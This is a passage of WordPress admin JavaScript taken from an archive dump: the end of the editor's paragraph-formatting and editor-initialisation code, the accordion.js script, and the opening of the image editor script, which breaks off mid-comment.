if ( html.indexOf( '<pre' ) !== -1 ) { preserve_linebreaks = true; html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) { a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' ); a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' ); return a.replace( /\r?\n/g, '<wp-line-break>' ); }); } // Remove line breaks but keep <br> tags inside image captions. if ( html.indexOf( '[caption' ) !== -1 ) { preserve_br = true; html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' ); }); } // Normalize white space characters before and after block tags. html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' ); html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' ); // Mark </p> if it has any attributes. html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' ); // Preserve the first <p> inside a <div>. html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' ); // Remove paragraph tags. html = html.replace( /\s*<p>/gi, '' ); html = html.replace( /\s*<\/p>\s*/gi, '\n\n' ); // Normalize white space chars and remove multiple line breaks. html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' ); // Replace <br> tags with line breaks. html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) { if ( space && space.indexOf( '\n' ) !== -1 ) { return '\n\n'; } return '\n'; }); // Fix line breaks around <div>. html = html.replace( /\s*<div/g, '\n<div' ); html = html.replace( /<\/div>\s*/g, '</div>\n' ); // Fix line breaks around caption shortcodes. html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' ); html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' ); // Pad block elements tags with a line break. html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' ); html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' ); // Indent <li>, <dt> and <dd> tags. html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' ); // Fix line breaks around <select> and <option>. if ( html.indexOf( '<option' ) !== -1 ) { html = html.replace( /\s*<option/g, '\n<option' ); html = html.replace( /\s*<\/select>/g, '\n</select>' ); } // Pad <hr> with two line breaks. if ( html.indexOf( '<hr' ) !== -1 ) { html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' ); } // Remove line breaks in <object> tags. if ( html.indexOf( '<object' ) !== -1 ) { html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /[\r\n]+/g, '' ); }); } // Unmark special paragraph closing tags. html = html.replace( /<\/p#>/g, '</p>\n' ); // Pad remaining <p> tags whit a line break. html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' ); // Trim. html = html.replace( /^\s+/, '' ); html = html.replace( /[\s\u00a0]+$/, '' ); if ( preserve_linebreaks ) { html = html.replace( /<wp-line-break>/g, '\n' ); } if ( preserve_br ) { html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } // Restore preserved tags. if ( preserve.length ) { html = html.replace( /<wp-preserve>/g, function() { return preserve.shift(); } ); } return html; } /** * Replaces two line breaks with a paragraph tag and one line break with a <br>. * * Similar to `wpautop()` in formatting.php. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} text The text input. * @return {string} The formatted text. */ function autop( text ) { var preserve_linebreaks = false, preserve_br = false, blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' + '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' + '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary'; // Normalize line breaks. text = text.replace( /\r\n|\r/g, '\n' ); // Remove line breaks from <object>. if ( text.indexOf( '<object' ) !== -1 ) { text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /\n+/g, '' ); }); } // Remove line breaks from tags. text = text.replace( /<[^<>]+>/g, function( a ) { return a.replace( /[\n\t ]+/g, ' ' ); }); // Preserve line breaks in <pre> and <script> tags. if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) { preserve_linebreaks = true; text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) { return a.replace( /\n/g, '<wp-line-break>' ); }); } if ( text.indexOf( '<figcaption' ) !== -1 ) { text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' ); text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' ); } // Keep <br> tags inside captions. if ( text.indexOf( '[caption' ) !== -1 ) { preserve_br = true; text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ); a = a.replace( /<[^<>]+>/g, function( b ) { return b.replace( /[\n\t ]+/, ' ' ); }); return a.replace( /\s*\n\s*/g, '<wp-temp-br />' ); }); } text = text + '\n\n'; text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' ); // Pad block tags with two line breaks. text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' ); text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' ); text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // Remove white space chars around <option>. text = text.replace( /\s*<option/gi, '<option' ); text = text.replace( /<\/option>\s*/gi, '</option>' ); // Normalize multiple line breaks and white space chars. text = text.replace( /\n\s*\n+/g, '\n\n' ); // Convert two line breaks to a paragraph. text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' ); // Remove empty paragraphs. text = text.replace( /<p>\s*?<\/p>/gi, ''); // Remove <p> tags that are around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1'); // Fix <p> in blockquotes. text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>'); text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>'); // Remove <p> tags that are wrapped around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' ); text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' ); // Add <br> tags. text = text.replace( /\s*\n/g, '<br />\n'); // Remove <br> tags that are around block tags. text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' ); // Remove <p> and <br> around captions. text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' ); // Make sure there is <p> when there is </p> inside block tags that can contain other blocks. text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) { if ( c.match( /<p( [^>]*)?>/ ) ) { return a; } return b + '<p>' + c + '</p>'; }); // Restore the line breaks in <pre> and <script> tags. if ( preserve_linebreaks ) { text = text.replace( /<wp-line-break>/g, '\n' ); } // Restore the <br> tags in captions. if ( preserve_br ) { text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } return text; } /** * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} html The content from the visual editor. * @return {string} the filtered content. */ function pre_wpautop( html ) { var obj = { o: exports, data: html, unfiltered: html }; if ( $ ) { $( 'body' ).trigger( 'beforePreWpautop', [ obj ] ); } obj.data = removep( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterPreWpautop', [ obj ] ); } return obj.data; } /** * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} text The content from the text editor. * @return {string} filtered content. */ function wpautop( text ) { var obj = { o: exports, data: text, unfiltered: text }; if ( $ ) { $( 'body' ).trigger( 'beforeWpautop', [ obj ] ); } obj.data = autop( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterWpautop', [ obj ] ); } return obj.data; } if ( $ ) { $( init ); } else if ( document.addEventListener ) { document.addEventListener( 'DOMContentLoaded', init, false ); window.addEventListener( 'load', init, false ); } else if ( window.attachEvent ) { window.attachEvent( 'onload', init ); document.attachEvent( 'onreadystatechange', function() { if ( 'complete' === document.readyState ) { init(); } } ); } wp.editor.autop = wpautop; wp.editor.removep = pre_wpautop; exports = { go: switchEditor, wpautop: wpautop, pre_wpautop: pre_wpautop, _wp_Autop: autop, _wp_Nop: removep }; return exports; } /** * Expose the switch editors to be used globally. * * @namespace switchEditors */ window.switchEditors = new SwitchEditors(); /** * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP). * * Intended for use with an existing textarea that will become the Code editor tab. * The editor width will be the width of the textarea container, height will be adjustable. * * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered" * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init. * * @since 4.8.0 * * @param {string} id The HTML id of the textarea that is used for the editor. * Has to be jQuery compliant. No brackets, special chars, etc. * @param {Object} settings Example: * settings = { * // See https://www.tinymce.com/docs/configure/integration-and-setup/. * // Alternatively set to `true` to use the defaults. * tinymce: { * setup: function( editor ) { * console.log( 'Editor initialized', editor ); * } * } * * // Alternatively set to `true` to use the defaults. * quicktags: { * buttons: 'strong,em,link' * } * } */ wp.editor.initialize = function( id, settings ) { var init; var defaults; if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) { return; } defaults = wp.editor.getDefaultSettings(); // Initialize TinyMCE by default. if ( ! settings ) { settings = { tinymce: true }; } // Add wrap and the Visual|Code tabs. if ( settings.tinymce && settings.quicktags ) { var $textarea = $( '#' + id ); var $wrap = $( '<div>' ).attr( { 'class': 'wp-core-ui wp-editor-wrap tmce-active', id: 'wp-' + id + '-wrap' } ); var $editorContainer = $( '<div class="wp-editor-container">' ); var $button = $( '<button>' ).attr( { type: 'button', 'data-wp-editor-id': id } ); var $editorTools = $( '<div class="wp-editor-tools">' ); if ( settings.mediaButtons ) { var buttonText = 'Add Media'; if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) { buttonText = window._wpMediaViewsL10n.addMedia; } var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' ); $addMediaButton.append( '<span class="wp-media-buttons-icon" aria-hidden="true"></span>' ); $addMediaButton.append( document.createTextNode( ' ' + buttonText ) ); $addMediaButton.data( 'editor', id ); $editorTools.append( $( '<div class="wp-media-buttons">' ) .append( $addMediaButton ) ); } $wrap.append( $editorTools .append( $( '<div class="wp-editor-tabs">' ) .append( $button.clone().attr({ id: id + '-tmce', 'class': 'wp-switch-editor switch-tmce' }).text( window.tinymce.translate( 'Visual' ) ) ) .append( $button.attr({ id: id + '-html', 'class': 'wp-switch-editor switch-html' }).text( window.tinymce.translate( 'Code|tab' ) ) ) ).append( $editorContainer ) ); $textarea.after( $wrap ); $editorContainer.append( $textarea ); } if ( window.tinymce && settings.tinymce ) { if ( typeof settings.tinymce !== 'object' ) { settings.tinymce = {}; } init = $.extend( {}, defaults.tinymce, settings.tinymce ); init.selector = '#' + id; $( document ).trigger( 'wp-before-tinymce-init', init ); window.tinymce.init( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } if ( window.quicktags && settings.quicktags ) { if ( typeof settings.quicktags !== 'object' ) { settings.quicktags = {}; } init = $.extend( {}, defaults.quicktags, settings.quicktags ); init.id = id; $( document ).trigger( 'wp-before-quicktags-init', init ); window.quicktags( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = init.id; } } }; /** * Remove one editor instance. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. */ wp.editor.remove = function( id ) { var mceInstance, qtInstance, $wrap = $( '#wp-' + id + '-wrap' ); if ( window.tinymce ) { mceInstance = window.tinymce.get( id ); if ( mceInstance ) { if ( ! mceInstance.isHidden() ) { mceInstance.save(); } mceInstance.remove(); } } if ( window.quicktags ) { qtInstance = window.QTags.getInstance( id ); if ( qtInstance ) { qtInstance.remove(); } } if ( $wrap.length ) { $wrap.after( $( '#' + id ) ); $wrap.remove(); } }; /** * Get the editor content. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. * @return The editor content. */ wp.editor.getContent = function( id ) { var editor; if ( ! $ || ! id ) { return; } if ( window.tinymce ) { editor = window.tinymce.get( id ); if ( editor && ! editor.isHidden() ) { editor.save(); } } return $( '#' + id ).val(); }; }( window.jQuery, window.wp )); accordion.js 0000644 00000005565 15174417325 0007067 0 ustar 00 /** * Accordion-folding functionality. * * Markup with the appropriate classes will be automatically hidden, * with one section opening at a time when its title is clicked. * Use the following markup structure for accordion behavior: * * <div class="accordion-container"> * <div class="accordion-section open"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="true" aria-controls="target-1"></button></h3> * <div class="accordion-section-content" id="target"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-2"></button></h3> * <div class="accordion-section-content" id="target-2"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-3"></button></h3> * <div class="accordion-section-content" id="target-3"> * </div> * </div> * </div> * * Note that any appropriate tags may be used, as long as the above classes are present. * * @since 3.6.0 * @output wp-admin/js/accordion.js */ ( function( $ ){ $( function () { // Expand/Collapse accordion sections on click. $( '.accordion-container' ).on( 'click', '.accordion-section-title button', function() { accordionSwitch( $( this ) ); }); }); /** * Close the current accordion section and open a new one. * * @param {Object} el Title element of the accordion section to toggle. * @since 3.6.0 */ function accordionSwitch ( el ) { var section = el.closest( '.accordion-section' ), container = section.closest( '.accordion-container' ), siblings = container.find( '.open' ), siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(), content = section.find( '.accordion-section-content' ); // This section has no content and cannot be expanded. if ( section.hasClass( 'cannot-expand' ) ) { return; } // Add a class to the container to let us know something is happening inside. // This helps in cases such as hiding a scrollbar while animations are executing. container.addClass( 'opening' ); if ( section.hasClass( 'open' ) ) { section.toggleClass( 'open' ); content.toggle( true ).slideToggle( 150 ); } else { siblingsToggleControl.attr( 'aria-expanded', 'false' ); siblings.removeClass( 'open' ); siblings.find( '.accordion-section-content' ).show().slideUp( 150 ); content.toggle( false ).slideToggle( 150 ); section.toggleClass( 'open' ); } // We have to wait for the animations to finish. setTimeout(function(){ container.removeClass( 'opening' ); }, 150); // If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value. if ( el ) { el.attr( 'aria-expanded', String( el.attr( 'aria-expanded' ) === 'false' ) ); } } })(jQuery); image-edit.js 0000644 00000117750 15174417325 0007133 0 ustar 00 /** * The functions necessary for editing images. * * @since 2.9.0 * @output wp-admin/js/image-edit.js */ /* global ajaxurl, confirm */ (function($) { var __ = wp.i18n.__; /** * Contains all the methods to initialize and control the image editor. * * @namespace imageEdit */ var imageEdit = window.imageEdit = { iasapi : {}, hold : {}, postid : '', _view : false, /** * Enable crop tool. */ toggleCropTool: function( postid, nonce, cropButton ) { var img = $( '#image-preview-' + postid ), selection = this.iasapi.getSelection(); imageEdit.toggleControls( cropButton ); var $el = $( cropButton ); var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false'; // Crop tools have been closed. if ( 'false' === state ) { // Cancel selection, but do not unset inputs. this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-clear'), 0); } else { imageEdit.setDisabled($('.imgedit-crop-clear'), 1); // Get values from inputs to restore previous selection. var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0; var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0; var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth(); var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight(); // Ensure selection is available, otherwise reset to full image. if ( isNaN( selection.x1 ) ) { this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } ); selection = this.iasapi.getSelection(); } // If we don't already have a selection, select the entire image. if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) { this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } else { this.iasapi.setSelection( startX, startY, width, height, true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } } }, /** * Handle crop tool clicks. */ handleCropToolClick: function( postid, nonce, cropButton ) { if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) { this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-apply'), 0); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); } else { // Otherwise, perform the crop. imageEdit.crop( postid, nonce , cropButton ); } }, /** * Converts a value to an integer. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} f The float value that should be converted. * * @return {number} The integer representation from the float value. */ intval : function(f) { /* * Bitwise OR operator: one of the obscure ways to truncate floating point figures, * worth reminding JavaScript doesn't have a distinct "integer" type. */ return f | 0; }, /** * Adds the disabled attribute and class to a single form element or a field set. * * @since 2.9.0 * * @memberof imageEdit * * @param {jQuery} el The element that should be modified. * @param {boolean|number} s The state for the element. If set to true * the element is disabled, * otherwise the element is enabled. * The function is sometimes called with a 0 or 1 * instead of true or false. * * @return {void} */ setDisabled : function( el, s ) { /* * `el` can be a single form element or a fieldset. Before #28864, the disabled state on * some text fields was handled targeting $('input', el). Now we need to handle the * disabled state on buttons too so we can just target `el` regardless if it's a single * element or a fieldset because when a fieldset is disabled, its descendants are disabled too. */ if ( s ) { el.removeClass( 'disabled' ).prop( 'disabled', false ); } else { el.addClass( 'disabled' ).prop( 'disabled', true ); } }, /** * Initializes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ init : function(postid) { var t = this, old = $('#image-editor-' + t.postid); if ( t.postid !== postid && old.length ) { t.close(t.postid); } t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() ); t.postid = postid; $('#imgedit-response-' + postid).empty(); $('#imgedit-panel-' + postid).on( 'keypress', function(e) { var nonce = $( '#imgedit-nonce-' + postid ).val(); if ( e.which === 26 && e.ctrlKey ) { imageEdit.undo( postid, nonce ); } if ( e.which === 25 && e.ctrlKey ) { imageEdit.redo( postid, nonce ); } }); $('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) { var k = e.keyCode; // Key codes 37 through 40 are the arrow keys. if ( 36 < k && k < 41 ) { $(this).trigger( 'blur' ); } // The key code 13 is the Enter key. if ( 13 === k ) { e.preventDefault(); e.stopPropagation(); return false; } }); $( document ).on( 'image-editor-ui-ready', this.focusManager ); }, /** * Calculate the image size and save it to memory. * * @since 6.7.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ calculateImgSize: function( postid ) { var t = this, x = t.intval( $( '#imgedit-x-' + postid ).val() ), y = t.intval( $( '#imgedit-y-' + postid ).val() ); t.hold.w = t.hold.ow = x; t.hold.h = t.hold.oh = y; t.hold.xy_ratio = x / y; t.hold.sizer = parseFloat( $( '#imgedit-sizer-' + postid ).val() ); t.currentCropSelection = null; }, /** * Toggles the wait/load icon in the editor. * * @since 2.9.0 * @since 5.5.0 Added the triggerUIReady parameter. * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} toggle Is 0 or 1, fades the icon in when 1 and out when 0. * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false. * * @return {void} */ toggleEditor: function( postid, toggle, triggerUIReady ) { var wait = $('#imgedit-wait-' + postid); if ( toggle ) { wait.fadeIn( 'fast' ); } else { wait.fadeOut( 'fast', function() { if ( triggerUIReady ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); } }, /** * Shows or hides image menu popup. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ togglePopup : function(el) { var $el = $( el ); var $targetEl = $( el ).attr( 'aria-controls' ); var $target = $( '#' + $targetEl ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); // Open menu and set z-index to appear above image crop area if it is enabled. $target .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } ); // Move focus to first item in menu when opening menu. if ( 'true' === $el.attr( 'aria-expanded' ) ) { $target.find( 'button' ).first().trigger( 'focus' ); } return false; }, /** * Observes whether the popup should remain open based on focus position. * * @since 6.4.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ monitorPopup : function() { var $parent = document.querySelector( '.imgedit-rotate-menu-container' ); var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' ); setTimeout( function() { var $focused = document.activeElement; var $contains = $parent.contains( $focused ); // If $focused is defined and not inside the menu container, close the popup. if ( $focused && ! $contains ) { if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) { imageEdit.togglePopup( $toggle ); } } }, 100 ); return false; }, /** * Navigate popup menu by arrow keys. * * @since 6.3.0 * @since 6.7.0 Added the event parameter. * * @memberof imageEdit * * @param {Event} event The key or click event. * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ browsePopup : function(event, el) { var $el = $( el ); var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' ); var $index = $collection.index( $el ); var $prev = $index - 1; var $next = $index + 1; var $last = $collection.length; if ( $prev < 0 ) { $prev = $last - 1; } if ( $next === $last ) { $next = 0; } var target = false; if ( event.keyCode === 40 ) { target = $collection.get( $next ); } else if ( event.keyCode === 38 ) { target = $collection.get( $prev ); } if ( target ) { target.focus(); event.preventDefault(); } return false; }, /** * Close popup menu and reset focus on feature activation. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ closePopup : function(el) { var $parent = $(el).parent( '.imgedit-popup-menu' ); var $controlledID = $parent.attr( 'id' ); var $target = $( 'button[aria-controls="' + $controlledID + '"]' ); $target .attr( 'aria-expanded', 'false' ).trigger( 'focus' ); $parent .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides the image edit help box. * * @since 2.9.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to create the help window in. * * @return {boolean} Always returns false. */ toggleHelp : function(el) { var $el = $( el ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ) .parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides image edit input fields when enabled. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to trigger the edit panel. * * @return {boolean} Always returns false. */ toggleControls : function(el) { var $el = $( el ); var $target = $( '#' + $el.attr( 'aria-controls' ) ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); $target .parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' ); return false; }, /** * Gets the value from the image edit target. * * The image edit target contains the image sizes where the (possible) changes * have to be applied to. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The value from the imagedit-save-target input field when available, * 'full' when not selected, or 'all' if it doesn't exist. */ getTarget : function( postid ) { var element = $( '#imgedit-save-target-' + postid ); if ( element.length ) { return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full'; } return 'all'; }, /** * Recalculates the height or width and keeps the original aspect ratio. * * If the original image size is exceeded a red exclamation mark is shown. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The current post ID. * @param {number} x Is 0 when it applies the y-axis * and 1 when applicable for the x-axis. * @param {jQuery} el Element. * * @return {void} */ scaleChanged : function( postid, x, el ) { var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '', scaleBtn = $('#imgedit-scale-button'); if ( false === this.validateNumeric( el ) ) { return; } if ( x ) { h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : ''; h.val( h1 ); } else { w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : ''; w.val( w1 ); } if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) { warn.css('visibility', 'visible'); scaleBtn.prop('disabled', true); } else { warn.css('visibility', 'hidden'); scaleBtn.prop('disabled', false); } }, /** * Gets the selected aspect ratio. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The aspect ratio. */ getSelRatio : function(postid) { var x = this.hold.w, y = this.hold.h, X = this.intval( $('#imgedit-crop-width-' + postid).val() ), Y = this.intval( $('#imgedit-crop-height-' + postid).val() ); if ( X && Y ) { return X + ':' + Y; } if ( x && y ) { return x + ':' + y; } return '1:1'; }, /** * Removes the last action from the image edit history. * The history consist of (edit) actions performed on the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} setSize 0 or 1, when 1 the image resets to its original size. * * @return {string} JSON string containing the history or an empty string if no history exists. */ filterHistory : function(postid, setSize) { // Apply undo state to history. var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = []; if ( history !== '' ) { // Read the JSON string with the image edit history. history = JSON.parse(history); pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop > 0 ) { while ( pop > 0 ) { history.pop(); pop--; } } // Reset size to its original state. if ( setSize ) { if ( !history.length ) { this.hold.w = this.hold.ow; this.hold.h = this.hold.oh; return ''; } // Restore original 'o'. o = history[history.length - 1]; // c = 'crop', r = 'rotate', f = 'flip'. o = o.c || o.r || o.f || false; if ( o ) { // fw = Full image width. this.hold.w = o.fw; // fh = Full image height. this.hold.h = o.fh; } } // Filter the last step/action from the history. for ( n in history ) { i = history[n]; if ( i.hasOwnProperty('c') ) { op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h, 'r': i.c.r } }; } else if ( i.hasOwnProperty('r') ) { op[n] = { 'r': i.r.r }; } else if ( i.hasOwnProperty('f') ) { op[n] = { 'f': i.f.f }; } } return JSON.stringify(op); } return ''; }, /** * Binds the necessary events to the image. * * When the image source is reloaded the image will be reloaded. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {function} callback Function to execute when the image is loaded. * * @return {void} */ refreshEditor : function(postid, nonce, callback) { var t = this, data, img; t.toggleEditor(postid, 1); data = { 'action': 'imgedit-preview', '_ajax_nonce': nonce, 'postid': postid, 'history': t.filterHistory(postid, 1), 'rand': t.intval(Math.random() * 1000000) }; img = $( '<img id="image-preview-' + postid + '" alt="" />' ) .on( 'load', { history: data.history }, function( event ) { var max1, max2, parent = $( '#imgedit-crop-' + postid ), t = imageEdit, historyObj; // Checks if there already is some image-edit history. if ( '' !== event.data.history ) { historyObj = JSON.parse( event.data.history ); // If last executed action in history is a crop action. if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) { /* * A crop action has completed and the crop button gets disabled * ensure the undo button is enabled. */ t.setDisabled( $( '#image-undo-' + postid) , true ); // Move focus to the undo button to avoid a focus loss. $( '#image-undo-' + postid ).trigger( 'focus' ); } } parent.empty().append(img); // w, h are the new full size dimensions. max1 = Math.max( t.hold.w, t.hold.h ); max2 = Math.max( $(img).width(), $(img).height() ); t.hold.sizer = max1 > max2 ? max2 / max1 : 1; t.initCrop(postid, img, parent); if ( (typeof callback !== 'undefined') && callback !== null ) { callback(); } if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false); } else { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true); } var successMessage = __( 'Image updated.' ); t.toggleEditor(postid, 0); wp.a11y.speak( successMessage, 'assertive' ); }) .on( 'error', function() { var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' ); $( '#imgedit-crop-' + postid ) .empty() .append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); t.toggleEditor( postid, 0, true ); wp.a11y.speak( errorMessage, 'assertive' ); } ) .attr('src', ajaxurl + '?' + $.param(data)); }, /** * Performs an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {string} action 